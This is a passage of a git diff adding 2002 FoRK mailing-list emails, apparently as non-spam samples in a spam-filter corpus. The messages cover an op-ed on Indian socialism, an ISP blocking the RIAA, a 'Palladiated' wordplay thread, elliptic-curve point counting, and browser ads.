In a classic case of deflecting blame for their own +> shortcomings, +> politicians in India have identified the size of the +> population as the +> country's biggest problem. This position was stated +> in a unanimous +> parliamentary resolution passed on the 50th +> anniversary of independence. +> Half a decade later, it is a belief that still +> resonates with many. Yet it +> is hard to imagine a more cynical view. If left free +> from the extensive +> interference of various levels of government, the +> energy and creativity of +> the Indian people could soon allow them to be among +> the richest on earth. +> +> Indians are not poor because there are too many of +> them; they are poor +> because there are too many regulations and too much +> government intervention +> -- even today, a decade after reforms were begun. +> India's greatest problems +> arise from a political culture guided by socialist +> instincts on the one +> hand and an imbedded legal obligation on the other +> hand. +> +> While India's political culture reflects the beliefs +> of its founding +> fathers, there is the additional matter of the +> modified preamble to its +> constitution that specifies: "India is a sovereign, +> secular, socialist +> republic." It was Indira Gandhi who had the words +> "socialist" and "secular" +> added in the late 1970s. At the same time, she also +> amended the relevant +> section in the Representation of Peoples Act to +> require that all recognized +> and registered parties swear by this preamble. Since +> all parties must stand +> for socialism, no party espouses classical +> liberalism (yet there are +> numerous communist parties). +> +> While one can appreciate the difficulty of +> abandoning ideas with such +> honored lineage, the fact that socialism has been +> widely discredited and +> abandoned in most places should prompt Indians to +> reconsider this +> commitment. Despite evidence of its failure as an +> economic system, many of +> the socialists who carry on do so by trying to +> proclaim that their dogma +> reinforces certain civic virtues. A presumed merit +> of socialism is that it +> aims to nurture a greater sense of collective +> identity by suppressing the +> narrow self-interest of individuals. However, this +> aspect of socialism lies +> at the heart of its failure both as a political tool +> as well as the basis +> for economic policy. +> +> Let's start with the economic failures of socialism. +> Most of the grand +> experiments have been ignominiously abandoned or +> recast in tortured terms +> such as the "Third Way" that defer to the importance +> of markets and +> individual incentives. Unfortunately, it took a +> great deal of human +> suffering before socialists abandoned their goal of +> trying to create an +> economic system on the basis of collective goals. +> +> Socialist ideologues are impervious to evidence that +> their system inspires +> even more human misery in the civic realm. This is +> because socialism +> provides the political mechanism for and legitimacy +> by which people +> identify as members of groups. While it may suit the +> socialist agenda to +> create them-and-us scenarios relating to workers and +> capitalists or +> peasants and urban dwellers, this logic is readily +> converted to other types +> of divisions. +> +> In the case of India, competition for power has +> increasingly become +> identified with religiosity or ethnicity, as is +> evident by the rise of the +> Bharatiya Janata Party, supported by radical +> Hindutva supporters. As +> elsewhere, political parties based on religion are +> by their very nature +> exclusionary. These narrow concepts of identity work +> against nation +> building since such a politics forces arrangements +> that cannot accommodate +> notions of universal values. +> +> Socialism also sets the stage for populist promises +> of taking from one +> group to support another. This variety of political +> posturing by the +> Congress Party was used to build a coalition of +> disaffected minorities. In +> turn, the BJP built its power base on a promise to +> restore power to Hindus. +> And so it is that India's heritage of socialist +> ideology provided the +> beginnings of a political culture that evolved into +> sectarian populism that +> has wrought cycles of communal violence. Populism +> with its solicitations of +> political patronage, whether based upon nationalism +> or some other ploy, is +> also open to the sort of rampant corruption so +> evident in India. +> +> At issue in India is nothing less than the role of +> the state. Should it be +> used as a mechanism to protect the freedom and +> rights of individuals? Or +> should the state be a vehicle for groups to gain +> power? It should be clear +> the latter approach would lead to the destruction of +> India's democracy +> while the former will allow it to survive. +> +> It is undeniable that India's public policy guided +> by socialism has +> promoted divisions that contributed to social +> instability and economic +> destruction. This dangerous game has only served the +> narrow interests of +> those who seek to capture or preserve power. That +> India is a "socialist" +> state, specified in a preamble to the constitution, +> makes this binding +> commitment evident in the nature of interventionist +> policies that have +> wrought slower economic growth causing great harm to +> the poor and unskilled +> who have lost access to economic opportunities. +> Socialism also introduced +> forces that are destroying India's hard-earned +> democracy. A paradigm shift +> in the nature of Indian politics is needed so the +> state ceases serving as a +> mechanism for groups to gain power and instead +> becomes an instrument to +> secure rights and freedoms for individuals. +> +> Mr. Lingle is professor of economics at Universidad +> Francisco Marroquin in +> Guatemala, and global strategist for +> eConoLytics.com. +> +> +> +> -- +> ----------------- +> R. A. Hettinga +> The Internet Bearer Underwriting Corporation +> +> 44 Farquhar Street, Boston, MA 02131 USA +> "... however it may deserve respect for its +> usefulness and antiquity, +> [predicting the end of the world] has not been found +> agreeable to +> experience." -- Edward Gibbon, 'Decline and Fall of +> the Roman Empire' +> http://xent.com/mailman/listinfo/fork + + +__________________________________________________ +Do You Yahoo!? +HotJobs - Search Thousands of New Jobs +http://www.hotjobs.com +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01100.36a4704abe87d55b858b1e136e03b5cd b/bayes/spamham/easy_ham_2/01100.36a4704abe87d55b858b1e136e03b5cd new file mode 100644 index 0000000..09b9406 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01100.36a4704abe87d55b858b1e136e03b5cd @@ -0,0 +1,97 @@ +From fork-admin@xent.com Tue Aug 20 20:52:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6D57A43C34 + for ; Tue, 20 Aug 2002 15:52:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 20:52:16 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KJsNZ22053 for ; + Tue, 20 Aug 2002 20:54:23 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8566329414C; Tue, 20 Aug 2002 12:52:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from granger.mail.mindspring.net (granger.mail.mindspring.net + [207.69.200.148]) by xent.com (Postfix) with ESMTP id E06E0294099 for + ; Tue, 20 Aug 2002 12:52:00 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + granger.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17hF4F-0005M6-00; + Tue, 20 Aug 2002 15:53:31 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: Digital Bearer Settlement List , + dcsb@ai.mit.edu, fork@xent.com, irregulars@tb.tf, + nettime-l@bbs.thing.net +From: "R. A. Hettinga" +Subject: IWT Bans RIAA From Accessing Its Network +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 15:52:50 -0400 + +http://www.informationwave.net/news/20020819riaa.php + + + IWT Bans RIAA From Accessing Its Network + +August 19, 2002 + +Information Wave Technologies has announced it will actively deny the +Recording Industry Association of America (RIAA) from accessing the +contents of its network. Earlier this year, the RIAA announced its new plan +to access computers without owner's consent for the sake of protecting its +assets. Information Wave believes this policy puts its customers at risk of +unintentional damage, corporate espionage, and invasion of privacy to say +the least. + +Due to the nature of this matter and RIAA's previous history, we feel the +RIAA will abuse software vulnerabilities in a client's browser after the +browser accesses its site, potentially allowing the RIAA to access and/or +tamper with your data. Starting at midnight on August 19, 2002, Information +Wave customers will no longer be able to reach the RIAA's web site. +Information Wave will also actively seek out attempts by the RIAA to thwart +this policy and apply additional filters to protect our customers' data. + +Information Wave will also deploy peer-to-peer clients on the Gnutella +network from its security research and development network (honeynet) which +will offer files with popular song titles derived from the Billboard Top +100 maintained by VNU eMedia. No copyright violations will take place, +these files will merely have arbitrary sizes similar to the length of a 3 +to 4 minute MP3 audio file encoded at 128kbps. Clients which connect to our +peer-to-peer clients, and then afterwards attempt to illegally access the +network will be immediately blacklisted from Information Wave's network. +The data collected will be actively maintained and distributed from our +network operations site. + +The placement of this policy is not intended to hamper the RIAA's piracy +elimination agenda or advocate Internet piracy, but to ensure the safety of +our customers' data attached to our network from hackers or corporate +espionage hidden by the veil of RIAA copyright enforcement. + +If you have questions, comments, or concerns regarding this policy, please +e-mail riaa@informationwave.net. + + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01101.ff91c2c8fb18ed6e300ed2ac699f8ae4 b/bayes/spamham/easy_ham_2/01101.ff91c2c8fb18ed6e300ed2ac699f8ae4 new file mode 100644 index 0000000..16701bb --- /dev/null +++ b/bayes/spamham/easy_ham_2/01101.ff91c2c8fb18ed6e300ed2ac699f8ae4 @@ -0,0 +1,96 @@ +From fork-admin@xent.com Tue Aug 20 22:15:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 38C8443C36 + for ; Tue, 20 Aug 2002 17:15:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 22:15:11 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KLGYZ24744 for ; + Tue, 20 Aug 2002 22:16:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id CF649294155; Tue, 20 Aug 2002 14:07:27 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net + [207.69.200.157]) by xent.com (Postfix) with ESMTP id CF5172940C7 for + ; Wed, 7 Aug 2002 15:37:40 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + tisch.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17cZRI-0007kA-00; + Wed, 07 Aug 2002 18:38:00 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: Digital Bearer Settlement List , + dcsb@ai.mit.edu, cryptography@wasabisystems.com, e$@vmeng.com, + mac-crypto@vmeng.com, net-thinkers@vmeng.com, dave@farber.net, + cypherpunks@lne.com, cyberia-l@listserv.aol.com, + nettime-l@bbs.thing.net, fork@xent.com +From: "R. A. Hettinga" +Subject: Palladiated? (was re: wow - palladiated! (Re: Palladium: technical limits and implications)) +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 7 Aug 2002 18:37:51 -0400 + +Evidently, I have permission to pass this along. :-). + +Don't try this at home, boys and girls. This is a professional neologist at +work... + +Cheers, +RAH +Comedy is not pretty... + +--- begin forwarded text + + +Date: Wed, 7 Aug 2002 22:40:56 +0100 +From: Adam Back +To: "R. A. Hettinga" +Cc: Adam Back +Subject: wow - palladiated! (Re: Palladium: technical limits and implications) +User-Agent: Mutt/1.2.2i + +On Wed, Aug 07, 2002 at 03:08:08PM -0400, R. A. Hettinga wrote: +> At 6:54 PM +0100 on 8/7/02, Adam Back wrote: +> > Palladiumized +> +> Palladiated? +> +> ;-). + +that's pretty funny, rhymes with irradiated -- nice connotations of +radioactive material with radioactive half-lives spewing +life-hazardous neutron radiation ;-) + +Helps that palladium is in fact a heavy metal. Man, perhaps Pd even +_has_ a half-life on the decay path from plutonium down to lead or +something. That would be very funny. + +Adam + +--- end forwarded text + + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01102.7e2e82117f44ba6354324e62da0d8f5b b/bayes/spamham/easy_ham_2/01102.7e2e82117f44ba6354324e62da0d8f5b new file mode 100644 index 0000000..d09dafb --- /dev/null +++ b/bayes/spamham/easy_ham_2/01102.7e2e82117f44ba6354324e62da0d8f5b @@ -0,0 +1,73 @@ +From fork-admin@xent.com Tue Aug 20 22:20:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E9FD843C34 + for ; Tue, 20 Aug 2002 17:20:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 22:20:24 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KLKYZ24936 for ; + Tue, 20 Aug 2002 22:20:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C4326294158; Tue, 20 Aug 2002 14:07:35 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from atlantic.gse.rmit.edu.au (unknown [131.170.243.69]) by + xent.com (Postfix) with ESMTP id E12812940BB for ; + Wed, 7 Aug 2002 22:10:11 -0700 (PDT) +Received: (from rsedc@localhost) by atlantic.gse.rmit.edu.au (8.8.7/8.8.7) + id PAA29062; Thu, 8 Aug 2002 15:12:00 +1000 +From: rsedc@atlantic.gse.rmit.edu.au +Message-Id: <20020808151200.A28920@atlantic.gse.rmit.edu.au> +To: "R. A. Hettinga" , + Digital Bearer Settlement List , dcsb@ai.mit.edu, + cryptography@wasabisystems.com, e$@vmeng.com, mac-crypto@vmeng.com, + net-thinkers@vmeng.com, dave@farber.net, cypherpunks@lne.com, + cyberia-l@listserv.aol.com, nettime-l@bbs.thing.net, fork@xent.com +Subject: Re: Palladiated? (was re: wow - palladiated! (Re: Palladium: technical limits and implications)) +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Mailer: Mutt 0.91.1 +In-Reply-To: ; from R. A. Hettinga on + Wed, Aug 07, 2002 at 06:37:51PM -0400 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 8 Aug 2002 15:12:00 +1000 + +> On Wed, Aug 07, 2002 at 03:08:08PM -0400, R. A. Hettinga wrote: +> > At 6:54 PM +0100 on 8/7/02, Adam Back wrote: +> > > Palladiumized +> > +> > Palladiated? +> > + +And the antonym? Odyssielded. Rhymes with shielded. + +http://homepage.mac.com/cparada/GML/Odysseus.html + +Odysseus was the first to learned the Palladium Oracles from the Seer Hellenus. +Odysseus neutralised (neutronised?) Palladium's defence for Troy. +Odysseus invented the first Trojan Horse. + +Incidentally public revelation of the Palladium is supposed to be on +Seventh Day to the Ides of Jun, i.e. 8th. June. The Newsweek article was +a bit late. + +http://www.clubs.psu.edu/aegsa/rome/jun06.htm + + +David Chia +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01103.6b7dcc38a359fffdb0320f845ee025e1 b/bayes/spamham/easy_ham_2/01103.6b7dcc38a359fffdb0320f845ee025e1 new file mode 100644 index 0000000..50df0d5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01103.6b7dcc38a359fffdb0320f845ee025e1 @@ -0,0 +1,87 @@ +From fork-admin@xent.com Tue Aug 20 22:30:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DF4F243C32 + for ; Tue, 20 Aug 2002 17:30:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 22:30:44 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KLSfZ25212 for ; + Tue, 20 Aug 2002 22:28:42 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E33FE294161; Tue, 20 Aug 2002 14:07:48 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id D1058294099 for ; Tue, 20 Aug 2002 09:30:14 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id D69E3C44E; + Tue, 20 Aug 2002 18:24:44 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: # Elliptic Curve Point Counting, made easy +Message-Id: <20020820162444.D69E3C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 18:24:44 +0200 (CEST) + +Gordon Mohr wrote: +>Does this mean that Eliptic Curve encryption is +>now easily breakable? Or faster than before with +>no loss in strength? Or stronger? +> +>Raw bits are OK, cooked bits are better. + +Oh. OK. + +These results don't help break EC crypto at all. + +With RSA, you pick a number with secret factors and to break the +cryptosystem, you can factor the number. Due to fast sub-exponential +algorithms for factoring, the number had better be 1024 bits at the +very least (record = 524 bits). + +With EC, you pick a curve and pick points on the curve with secret +discrete logarithm. To break the cryptosystem you can compute a +discrete log but the best algorithms for random curves are exponential +(record = 109 bits, for a slightly special curve). + +Up until now, people pick curves chosen from a small fixed set. One +choice is a few curves with special properties that originally were +chosen to make point-counting easier, and can also speed up the crypto +operations, but in some cases they can also speed up attacks, not on +curves deployed at the moment but the danger exists. The other +choice is to precompute a handful of random curves. The NSA did this +a few years ago when it took hours on a fast machine and NIST +standardized those curves. + +What changes is that it is now possible is to generate your own curves +on an ordinary PC. This has been getting easier and easier, with +small curves taking seconds on a fast machine since a year or two. +Now even reasonably big curves take seconds on a typical PC. + +This means that you don't have to rely on standard curves but can +distribute risk over many curves in case some get broken at some +stage. In certain circumstances you can even keep the curve itself +secret so an attacker doesn't know which discrete log to try to +compute! There isn't really a good analogy with RSA, but imagine +wanting to factor a number and you don't even know what it is... + +So basically recent progress has made new things feasible and this +makes them even more so. The underlying primitives for signing, +encoding and so on are not affected, but the security vibes get better. + +R +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01104.95ab7cdd99db240e7df7579a016a84ae b/bayes/spamham/easy_ham_2/01104.95ab7cdd99db240e7df7579a016a84ae new file mode 100644 index 0000000..99541dd --- /dev/null +++ b/bayes/spamham/easy_ham_2/01104.95ab7cdd99db240e7df7579a016a84ae @@ -0,0 +1,74 @@ +From fork-admin@xent.com Tue Aug 20 22:30:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C04F643C34 + for ; Tue, 20 Aug 2002 17:30:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 22:30:45 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KLWbZ25278 for ; + Tue, 20 Aug 2002 22:32:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 57187294166; Tue, 20 Aug 2002 14:08:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (pm7-31.sba1.netlojix.net + [207.71.222.127]) by xent.com (Postfix) with ESMTP id E656F294153 for + ; Tue, 20 Aug 2002 14:07:22 -0700 (PDT) +Received: (from dave@localhost) by maltesecat (8.8.7/8.8.7a) id OAA07065; + Tue, 20 Aug 2002 14:16:30 -0700 +Message-Id: <200208202116.OAA07065@maltesecat> +To: fork@spamassassin.taint.org +Subject: RE: The Curse of India's Socialism +In-Reply-To: Message from fork-request@xent.com of + "Tue, 20 Aug 2002 12:43:02 PDT." + <20020820194302.16888.43472.Mailman@lair.xent.com> +From: Dave Long +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 14:16:30 -0700 + + +> In the +> Philippines, getting legal title can take 20 years. In Egypt, about 80% +> of the population in Cairo lives in places where they are officially +> illegal. + +If the situation in Egypt is anything +like the situation in the Philippines, +it's because people (due to a strange +desire for jobs) squat on land which +they don't own.* + +For people to be able to buy their own +land, capitalism must be healthy, but +not triumphant; there need to be too +many capitalists, not too few. + +(how well off were the major landowners +in india before independence?) + +-Dave + +* In the US, we are not so friendly to +our capitalists: adverse possession is +only supposed to take 5 years. + +(How much do we owe to our frontiers? +Heck, in Egypt didn't they pretty much +invent geometry a few millenia ago to +keep track of their property lines?) + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01105.9f1f6193994d7945cb0c08ccddeb3426 b/bayes/spamham/easy_ham_2/01105.9f1f6193994d7945cb0c08ccddeb3426 new file mode 100644 index 0000000..8babda6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01105.9f1f6193994d7945cb0c08ccddeb3426 @@ -0,0 +1,64 @@ +From fork-admin@xent.com Tue Aug 20 22:35:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F305C43C32 + for ; Tue, 20 Aug 2002 17:35:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 22:35:59 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KLaWZ25325 for ; + Tue, 20 Aug 2002 22:36:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 84B3029416A; Tue, 20 Aug 2002 14:08:14 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from dream.darwin.nasa.gov (betlik.darwin.nasa.gov + [198.123.160.11]) by xent.com (Postfix) with ESMTP id 1428B294165 for + ; Tue, 20 Aug 2002 14:07:54 -0700 (PDT) +Received: from cse.ucsc.edu (paperweight.darwin.nasa.gov [198.123.160.27]) + by dream.darwin.nasa.gov ( -- Info omitted by ASANI Solutions, + LLC.) with ESMTP id g7KL9Qh20606; Tue, 20 Aug 2002 14:09:26 -0700 (PDT) +Message-Id: <3D62B006.7010200@cse.ucsc.edu> +From: Elias Sinderson +User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) + Gecko/20020518 Netscape6/6.2.3 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Cc: fork@spamassassin.taint.org, irregulars@tb.tf, nettime-l@bbs.thing.net +Subject: Re: IWT Bans RIAA From Accessing Its Network +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 14:09:26 -0700 + +Beautiful, let the information wars begin... I can't wait to see how +this evolves... Perhaps the RIAA will seek legislation preventing others +from preventing their access to other networks? I can't see how that +would work out though... Yes, very interesting, and quite sad at the +same time. + +Elias + + +R. A. Hettinga wrote: + +>http://www.informationwave.net/news/20020819riaa.php ... +> + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01106.8b0bc40a6f9c74cf3426d22d46870eac b/bayes/spamham/easy_ham_2/01106.8b0bc40a6f9c74cf3426d22d46870eac new file mode 100644 index 0000000..dacf5f5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01106.8b0bc40a6f9c74cf3426d22d46870eac @@ -0,0 +1,67 @@ +From fork-admin@xent.com Tue Aug 20 22:51:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9D02543C32 + for ; Tue, 20 Aug 2002 17:51:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 22:51:27 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KLpOZ25861 for ; + Tue, 20 Aug 2002 22:51:24 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2ED082940A6; Tue, 20 Aug 2002 14:49:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 07E34294099 for + ; Tue, 20 Aug 2002 14:48:24 -0700 (PDT) +Received: (qmail 8702 invoked by uid 508); 20 Aug 2002 21:49:59 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.15) by + venus.phpwebhosting.com with SMTP; 20 Aug 2002 21:49:59 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7KLnrc06186; Tue, 20 Aug 2002 23:49:54 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: "Joseph S. Barrera III" +Cc: CDale , forkit! +Subject: Re: Snag Ware +In-Reply-To: <3D627381.10100@barrera.org> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 23:49:53 +0200 (CEST) + +On Tue, 20 Aug 2002, Joseph S. Barrera III wrote: + +> I just use the free/adware version of Opera. I mean, half the pages + +I just use Mozilla, and don't have to think about ignoring toolbar ads +altogether. I can tell Mozilla to ignore particularly obnoxious ads, and +businesses who're particularly "clever" about making me see them obviously +don't want me to see them after all (since I leave, and never come back). + +> I look at have ads on them anways, so I'm pretty good at ignoring them. +> Plus, you can change settings that change what type of ads you get, +> so the ads I get are pretty innocuous. I think I listed books and +> sleeping as my interests :-) + +I notice Opera tends to ignore my advertisement preferences, so this is +the core reason why I don't use it. Mozilla does almost everything Opera +does, minus the obnoxious ad slime, so why use use Opera then? + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01107.2b4328240b02ac9d365c6379ba684058 b/bayes/spamham/easy_ham_2/01107.2b4328240b02ac9d365c6379ba684058 new file mode 100644 index 0000000..85a2bc9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01107.2b4328240b02ac9d365c6379ba684058 @@ -0,0 +1,132 @@ +From fork-admin@xent.com Tue Aug 20 23:38:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B519D43C32 + for ; Tue, 20 Aug 2002 18:38:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 23:38:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KMZTZ27238 for ; + Tue, 20 Aug 2002 23:35:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D15452940AF; Tue, 20 Aug 2002 15:33:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from axiom.braindust.com (axiom.braindust.com [64.69.71.79]) by + xent.com (Postfix) with ESMTP id 6D1F3294099 for ; + Tue, 20 Aug 2002 15:32:38 -0700 (PDT) +X-Envelope-To: +Received: from localhost (muses.westel.com [204.244.110.7]) (authenticated + (0 bits)) by axiom.braindust.com (8.12.5/8.11.6) with ESMTP id + g7KMYZeH012169 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 + bits) verified NO) for ; Tue, 20 Aug 2002 15:34:36 -0700 +MIME-Version: 1.0 (Apple Message framework v482) +Content-Type: text/plain; charset=US-ASCII; format=flowed +Subject: Re: The Curse of India's Socialism +From: Ian Andrew Bell +To: fork@spamassassin.taint.org +Content-Transfer-Encoding: 7bit +Message-Id: +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare 